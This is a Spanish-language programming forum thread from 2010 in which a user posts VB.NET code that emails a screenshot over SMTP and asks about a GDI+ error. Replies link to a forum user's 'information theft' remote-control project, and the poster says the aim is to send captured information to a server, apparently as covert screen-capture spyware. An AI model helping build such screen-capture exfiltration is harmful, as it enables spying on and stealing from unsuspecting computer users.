Foro de elhacker.net

Programación => .NET (C#, VB.NET, ASP) => Mensaje iniciado por: genomma en 7 Julio 2010, 11:21 am



Título: Como cierro una conexion SMTP desde visual basic!!!
Publicado por: genomma en 7 Julio 2010, 11:21 am
Ise esto!!!----->>>>  pero quiero que cuando se envie el mensaje se cierre la conexion SMTP, como hago eso???!!!!------!

Código
  1. Dim _SMTP As New System.Net.Mail.SmtpClient
  2.            Dim _Message As New System.Net.Mail.MailMessage()
  3.            _SMTP.Credentials = New System.Net.NetworkCredential("XXXXX@live.com", "XXXXXXXX")
  4.            _SMTP.Host = "smtp.live.com"
  5.            _SMTP.Port = 587
  6.            _SMTP.EnableSsl = True
  7.  
  8.            ' CONFIGURACION DEL MENSAJE
  9.  
  10.            _Message.[To].Add("XXXXXXX@live.com") 'Cuenta de Correo al que se le quiere enviar el e-mail
  11.            _Message.From = New System.Net.Mail.MailAddress("XXXXXX@live.com", "Test", System.Text.Encoding.UTF8) 'Quien lo envía
  12.            _Message.Subject = "XXXXXXX" 'Sujeto del e-mail
  13.            _Message.SubjectEncoding = System.Text.Encoding.UTF8 'Codificacion
  14.            _Message.BodyEncoding = System.Text.Encoding.UTF8
  15.            _Message.Priority = System.Net.Mail.MailPriority.Normal
  16.            _Message.IsBodyHtml = False
  17.  
  18.            Dim _File As String = "..\prueba.txt" 'archivo que se quiere adjuntar
  19.            Dim _Attachment As New System.Net.Mail.Attachment(_File, System.Net.Mime.MediaTypeNames.Application.Octet)
  20.            _Message.Attachments.Add(_Attachment)
  21.  
  22.            _SMTP.Send(_Message)
  23.  
  24.            MessageBox.Show("Correo enviado!", "Correo", MessageBoxButtons.OK, MessageBoxIcon.Information)


Título: Re: Como cierro una conexion SMTP desde visual basic!!!
Publicado por: 43H4FH44H45H4CH49H56H45H en 7 Julio 2010, 14:07 pm
No necesitas cerrar la conexion, no recuerdo algun code que tuviera que cerrar la conexion luego de que envia el mail.

Para smtp.live.com el .Port era = 25 para smtp.gmail.com era = 587


Título: Re: Como cierro una conexion SMTP desde visual basic!!!
Publicado por: [D4N93R] en 7 Julio 2010, 15:49 pm
Ise esto!!!----->>>>

Pretérito perfecto simple o Pretérito: "Hice" http://buscon.rae.es/draeI/SrvltGUIVerbos?origen=RAE&IDVERBO=6909 (http://buscon.rae.es/draeI/SrvltGUIVerbos?origen=RAE&IDVERBO=6909)


Para que el código sea más fácil de leer, por favor ponlo entre las equitetas:
[ code=csharp]

Tu código acá..

[/code ]

PD: Se me olvidó de nuevo como poner las etiquetas de geshi sin que sean procesadas.. xD Si alguien me acuerda, gracias.


Título: Re: Como cierro una conexion SMTP desde visual basic!!!
Publicado por: genomma en 7 Julio 2010, 22:20 pm
No necesitas cerrar la conexion, no recuerdo algun code que tuviera que cerrar la conexion luego de que envia el mail.

Para smtp.live.com el .Port era = 25 para smtp.gmail.com era = 587


25 lo probé y jamás me conectó, usé el 587 para smtp.live.com y me funcionó biien!--

La razón por la que preguntaba como cerrar la conexion SMTP es porque esta funcion esta asocidad al evio de un archivo (prueba.png)

el archivo "prueba.png" lo obtengo haciendo ésto:
Código
  1. imgPantalla.Image = GetScreenCapture()


despues lo envio por medio de SMTP:
La cada que ejecuto esta funcion genera la imagen y la envia por mail--- la primera vez lo hace sin ningun problema, pero la segunda vez que trata de volver a generar la imagen me dise "Error generico en GDI+"!!!------->>>Yo suponia que era porque debia cerrar la conexion despues en enviar el archivo--!!!!!


Código
  1. Dim _File As String = "..\prueba.png" 'archivo que se quiere adjuntar          
  2. Dim _Attachment As New System.Net.Mail.Attachment(_File, System.Net.Mime.MediaTypeNames.Application.Octet)
  3. _Message.Attachments.Add(_Attachment)
  4.  
  5.  
  6.  
  7.  


Título: Re: Como cierro una conexion SMTP desde visual basic!!!
Publicado por: 43H4FH44H45H4CH49H56H45H en 7 Julio 2010, 23:58 pm
El año pasado trabaje con smtp.live.com y especificaba su funcion con el port 25, ya me dio curiosidad al llegar a casa lo pruebo  :P

Respecto a lo que tratas de hacer te dejo un ejemplo que hice hace tiempo acerca de las capturas y el envio por mail:

Explicación

http://foro.elhacker.net/analisis_y_diseno_de_malware/intellisense_control_via_web_robo_de_informacion-t255155.0.html

Descarga del proyecto

http://www.4shared.com/file/106746397/2040d87e/IntelliSense.html

Esta en C# pero puedes ver como trabajaba.


Título: Re: Como cierro una conexion SMTP desde visual basic!!!
Publicado por: genomma en 8 Julio 2010, 01:06 am
El año pasado trabaje con smtp.live.com y especificaba su funcion con el port 25, ya me dio curiosidad al llegar a casa lo pruebo  :P

Respecto a lo que tratas de hacer te dejo un ejemplo que hice hace tiempo acerca de las capturas y el envio por mail:

Explicación

http://foro.elhacker.net/analisis_y_diseno_de_malware/intellisense_control_via_web_robo_de_informacion-t255155.0.html

Descarga del proyecto

http://www.4shared.com/file/106746397/2040d87e/IntelliSense.html

Esta en C# pero puedes ver como trabajaba.


Ya lo descargué, lo ví y lo analizé.--  FTP y SMTP funcionan de manera similar, al menos aki el plan es enviar la informacion al servidor y ambos servicios pueden usarse para lograr el objetivo.-!

Te libero mi proyecto para que lo analizes mas a fondo si lo deseas.-!!!???? y me ayudes un poko kon ésto--!!!

Genomma@live.com